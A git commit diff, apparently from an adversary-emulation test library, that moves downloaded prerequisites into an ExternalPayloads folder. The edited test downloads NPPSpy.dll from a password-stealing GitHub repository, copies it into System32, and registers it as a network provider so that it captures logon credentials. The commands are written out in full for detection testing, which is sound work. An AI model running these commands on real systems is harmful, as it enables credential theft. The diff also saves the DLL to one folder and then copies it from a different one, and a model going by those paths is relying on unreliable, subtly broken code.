Add ExternalPayloads folder for downloaded prerequisites (#2459)

* use ExternalPayloads folder for prereqs

* git ignore ExternalPayloads folder

* move External folder up one directory
This commit is contained in:
Carrie Roberts
2023-06-14 13:24:03 -07:00
committed by GitHub
parent 085b3ec2c9
commit 3e4e817aa4
2 changed files with 9 additions and 5 deletions
+4 -1
View File
@@ -57,4 +57,7 @@ override.tf.json
.terraformrc
terraform.rc
*.pyc
*.pyc
# The ExternalPayloads folder
ExternalPayloads
+5 -4
View File
@@ -58,14 +58,15 @@ atomic_tests:
- windows
dependency_executor_name: powershell
dependencies:
- description: NPPSpy.dll must be available in local temp directory
prereq_command: if (Test-Path "$env:Temp\NPPSPY.dll") {exit 0} else {exit 1}
- description: NPPSpy.dll must be available in ExternalPayloads directory
prereq_command: if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\NPPSPY.dll") {exit 0} else {exit 1}
get_prereq_command: |-
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest -Uri https://github.com/gtworek/PSBits/raw/f221a6db08cb3b52d5f8a2a210692ea8912501bf/PasswordStealing/NPPSpy/NPPSPY.dll -OutFile "$env:Temp\NPPSPY.dll"
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest -Uri https://github.com/gtworek/PSBits/raw/f221a6db08cb3b52d5f8a2a210692ea8912501bf/PasswordStealing/NPPSpy/NPPSPY.dll -OutFile "PathToAtomicsFolder\..\ExternalPayloads\NPPSPY.dll"
executor:
command: |-
Copy-Item "$env:Temp\NPPSPY.dll" -Destination "C:\Windows\System32"
Copy-Item "PathToAtomicsFolder\ExternalPayloads\NPPSPY.dll" -Destination "C:\Windows\System32"
$path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER
$UpdatedValue = $Path.PROVIDERORDER + ",NPPSpy"
Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value $UpdatedValue